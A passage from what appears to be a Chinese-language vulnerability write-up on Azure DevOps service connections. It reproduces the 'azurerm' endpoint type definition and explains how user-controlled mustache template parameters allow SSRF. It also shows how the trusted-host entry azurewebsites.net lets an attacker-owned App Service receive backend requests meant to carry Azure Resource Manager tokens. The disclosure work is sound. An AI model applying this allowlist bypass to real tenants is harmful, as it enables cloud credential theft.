&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"workloadIdentityFederationIssuerType",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Issuer type",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"The type of the Workload Identity Federation issuer that will appear in the issuer claim of the client assertion token.",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"scheme":"WorkloadIdentityFederation",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"displayName":"Workload Identity federation with OpenID Connect",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requiresOAuth2Configuration":true,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"dataSourceBindings":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authorizationHeaders":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"clientCertificates":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isVerifiable":"False",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "canIssueAzureAccessTokens":"True"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; },

&nbsp; &nbsp;],
&nbsp; &nbsp;"dataSources":[
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"TestConnection",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"{{{endpoint.url}}}{{#equals&nbsp;endpoint.scopeLevel 'ManagementGroup'}}providers/Microsoft.Management/managementGroups/{{{endpoint.managementGroupId}}}?api-version=2018-01-01-preview{{else}}subscriptions/{{{endpoint.subscriptionId}}}?api-version=2016-06-01{{/equals}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"jsonpath:$",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":null
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"ServicePrincipalSignInAudience",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"{{{endpoint.microsoftGraphUrl}}}/v1.0/servicePrincipals/{{{endpoint.spnObjectId}}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"{{{endpoint.microsoftGraphUrl}}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"jsonpath:$.signInAudience",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":null
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"CreateWebhook",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{endpoint.mlWorkspaceLocation}}.experiments.azureml.net/webhook/v1.0/subscriptions/{{endpoint.subscriptionId}}/resourceGroups/{{endpoint.resourceGroupName}}/providers/Microsoft.MachineLearningServices/workspaces/{{endpoint.mlWorkspaceName}}/webhooks/{{{webHookName}}}_{{{definition}}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":"PUT",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":"{\"EventType\":\"ModelRegistered\", \"Id\": \"{{{webHookName}}}_{{{definition}}}\", \"CallbackUrl\":\"{{{payloadUrl}}}\", \"Filters\": {\"ModelName\": \"{{{definition}}}\"} }",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"jsonpath:$",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":null
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"AzureKeyVaultSecretByName",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{{KeyVaultName}}}.{{{endpoint.AzureKeyVaultDnsSuffix}}}/secrets/{{{SecretName}}}?api-version=2016-10-01",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"{{{endpoint.AzureKeyVaultServiceEndpointResourceId}}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"jsonpath:$.value",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":null
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"AzureStorageContainer",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{storageAccount}}.blob.{{endpoint.StorageEndpointSuffix}}/?comp=list",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"xpath:EnumerationResults/Containers/Container/Name",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type":"ms.vss-endpoint.endpoint-auth-scheme-azure-storage",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputs":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"storageAccountName":"{{ storageAccount }}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"storageAccessKey":"{{&nbsp;#GetAzureStorageAccessKey&nbsp;storageAccount }}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"AzureKubernetesClusters",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"{{{endpoint.url}}}subscriptions/{{{endpoint.subscriptionId}}}/providers/Microsoft.ContainerService/managedClusters?api-version=2018-03-31{{{#if&nbsp;nextQueryParam}}}&{{{nextQueryParam}}}{{{/if}}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestVerb":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"requestContent":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resourceUrl":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"resultSelector":"jsonpath:$.value[*]",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackContextTemplate":"{\"nextQueryParam\": \"{{#getTokenValue&nbsp;response.nextLink}}{{extractUrlQueryParamKeyValue %24skiptoken,skipToken}}{{/getTokenValue}}\"}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"callbackRequiredTemplate":"{{isTokenPresent response.nextLink}}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"initialContextTemplate":"{\"nextQueryParam\": \"\"}",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"headers":[

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"authenticationScheme":null
&nbsp; &nbsp; &nbsp; },

&nbsp; &nbsp;],
&nbsp; &nbsp;"dependencyData":[
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"map":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"AzureCloud",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"environmentUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://management.azure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"galleryUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://gallery.azure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"serviceManagementUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://management.core.windows.net/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"resourceManagerUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://management.azure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"activeDirectoryAuthority",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://login.microsoftonline.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"environmentAuthorityUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://login.windows.net/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"microsoftGraphUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://graph.microsoft.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"managementPortalUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://manage.windowsazure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"armManagementPortalUrl",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://portal.azure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"activeDirectoryServiceEndpointResourceId",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://management.core.windows.net/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"sqlDatabaseDnsSuffix",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":".database.windows.net"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"AzureKeyVaultDnsSuffix",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"vault.azure.net"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"AzureKeyVaultServiceEndpointResourceId",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://vault.azure.net"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"StorageEndpointSuffix",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"core.windows.net"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"EnableAdfsAuthentication",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"false"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"AzureContianerRegistryRepoSuffix",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":".azurecr.io"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"cloudEnvironmentCode",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"pub"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"input":"environment"
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;],
&nbsp; &nbsp;"trustedHosts":[
&nbsp; &nbsp; &nbsp; "azurecr.cn",
&nbsp; &nbsp; &nbsp; "azurecr.io",
&nbsp; &nbsp; &nbsp; "azmk8s.io",
&nbsp; &nbsp; &nbsp; "vault.azure.net",
&nbsp; &nbsp; &nbsp; "vault.azure.cn",
&nbsp; &nbsp; &nbsp; "vault.usgovcloudapi.net",
&nbsp; &nbsp; &nbsp; "vault.microsoftazure.de",
&nbsp; &nbsp; &nbsp; "core.cloudapi.de",
&nbsp; &nbsp; &nbsp; "windows-int.net",
&nbsp; &nbsp; &nbsp; "core.windows.net",
&nbsp; &nbsp; &nbsp; "core.chinacloudapi.cn",
&nbsp; &nbsp; &nbsp; "core.usgovcloudapi.net",
&nbsp; &nbsp; &nbsp; "nuget.org",
&nbsp; &nbsp; &nbsp; "modelmanagement.azureml.net",
&nbsp; &nbsp; &nbsp; "experiments.azureml.net",
&nbsp; &nbsp; &nbsp; "aether.ms",
&nbsp; &nbsp; &nbsp; "azurewebsites.net",
&nbsp; &nbsp; &nbsp; "graph.microsoft.com"
&nbsp; &nbsp;],
&nbsp; &nbsp;"name":"azurerm",
&nbsp; &nbsp;"displayName":"Azure Resource Manager",
&nbsp; &nbsp;"description":"Service connection type for Azure Resource Manager connections",
&nbsp; &nbsp;"endpointUrl":{
&nbsp; &nbsp; &nbsp; "displayName":"Server Url",
&nbsp; &nbsp; &nbsp; "helpText":"",
&nbsp; &nbsp; &nbsp; "value":"https://management.azure.com/",
&nbsp; &nbsp; &nbsp; "isVisible":"true",
&nbsp; &nbsp; &nbsp; "dependsOn":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"input":"environment",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"map":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"key":"AzureCloud",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value":"https://management.azure.com/"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;]
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;}
}

上面的 JSON 数据块为每种数据源类型包含一个对象。回到我们截获的请求，我们看到了数据源类型 “TestConnection”，以及它如何“工作”的定义。具体来说，如果我们查看这个参数：

"endpointUrl":"{{{endpoint.url}}}{{#equals&nbsp;endpoint.scopeLevel 'ManagementGroup'}}providers/Microsoft.Management/managementGroups/{{{endpoint.managementGroupId}}}?api-version=2018-01-01-preview{{else}}subscriptions/{{{endpoint.subscriptionId}}}?api-version=2016-06-01{{/equals}}",

这些花括号 “{}” 代表后端使用的 mustache 模板。令人惊讶的是，这个 API 的响应直接展示了服务器端使用的实际模板逻辑。同样，这与 Binary Security[5] 的人员在他们先前发现的这个端点的 SSRF 中得出的结论一致，不过这为我们理解请求是如何构建的提供了更多见解。

现在，我们知道该端点需要向后端发送一个经过身份验证的请求，以“验证”令牌是否有效，因此我们可以假设 “endpointUrl” 参数就是用于该验证的端点。更重要的是，我们可以看到，在几乎所有这些数据源中，endpointUrl 实际上是通过 mustache 模板动态生成的。例如，在我上面添加的这个小片段中：

"name":"AzureKubernetesClusters",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"{{{endpoint.url}}}subscriptions/{{{endpoint.subscriptionId}}}/providers/Microsoft.ContainerService/managedClusters?api-version=2018-03-31{{{#if&nbsp;nextQueryParam}}}&{{{nextQueryParam}}}{{{/if}}}",

"name":"AzureStorageContainer",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{storageAccount}}.blob.{{endpoint.StorageEndpointSuffix}}/?comp=list",

"name":"AzureKeyVaultSecretByName",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{{KeyVaultName}}}.{{{endpoint.AzureKeyVaultDnsSuffix}}}/secrets/{{{SecretName}}}?api-version=2016-10-01",

"name":"CreateWebhook",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"https://{{endpoint.mlWorkspaceLocation}}.experiments.azureml.net/webhook/v1.0/subscriptions/{{endpoint.subscriptionId}}/resourceGroups/{{endpoint.resourceGroupName}}/providers/Microsoft.MachineLearningServices/workspaces/{{endpoint.mlWorkspaceName}}/webhooks/{{{webHookName}}}_{{{definition}}}",

"name":"ServicePrincipalSignInAudience",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"endpointUrl":"{{{endpoint.microsoftGraphUrl}}}/v1.0/servicePrincipals/{{{endpoint.spnObjectId}}}",

每个数据源都为 mustache 模板使用了不同的参数。在摆弄了这个 API 几分钟后，很明显，终端用户几乎可以控制请求中的所有这些参数。那么换句话说……所有这些参数都容易受到 SSRF 攻击吗？这是否意味着，如果我插入一个我控制的 URL，令牌就会被发送到我的服务器？

在直接测试后，发现对于某些参数，可以插入的 URL 存在一个白名单。我没有在 azurerm 类型中找到任何不使用验证的端点。尽管在其他“类型”中有很多容易受到 SSRF 攻击的端点，但我的目标是通过工作负载联合窃取用于 Azure 资源管理器的令牌，因为其影响非常明显。那么，我们如何绕过这个白名单呢？

事实证明——非常容易。如果我们回头看 azurerm 类型的定义，其中包含一个“受信主机（trusted hosts）”列表。真是方便！这个列表中包含了 azurewebsites.net，这是所有 Azure 应用服务（App Services）创建时使用的域名。因此，要绕过白名单，我们只需创建一个应用服务并使用该域名即可。

在创建一个名为 “bbounty” 的应用服务并将参数设置为 bbounty.azurewebsites.net 后——成了，白名单被绕过，我们的后端应用服务收到了一个请求（只需在日志中打印出请求内容）。以下 JSON 对象被发送到了该端点（请参阅 mlWorkspaceLocation 参数）：

{
&nbsp; "dataSourceDetails":&nbsp;{
&nbsp; &nbsp; "dataSourceName":&nbsp;"Models",
&nbsp; &nbsp; "dataSourceUrl":&nbsp;"",
&nbsp; &nbsp; "headers":&nbsp;[],
&nbsp; &nbsp; "resourceUrl":&nbsp;"",
&nbsp; &nbsp; "requestContent":&nbsp;"",
&nbsp; &nbsp; "requestVerb":&nbsp;"",
&nbsp; &nbsp; "parameters":&nbsp;{
&nbsp; &nbsp; },
&nbsp; &nbsp; "resultSelector":&nbsp;"",
&nbsp; &nbsp; "initialContextTemplate":&nbsp;""
&nbsp; },
&nbsp; "resultTransformationDetails":&nbsp;{
&nbsp; &nbsp; "callbackContextTemplate":&nbsp;"",
&nbsp; &nbsp; "callbackRequiredTemplate":&nbsp;"",
&nbsp; &nbsp; "resultTemplate":&nbsp;""
&nbsp; },
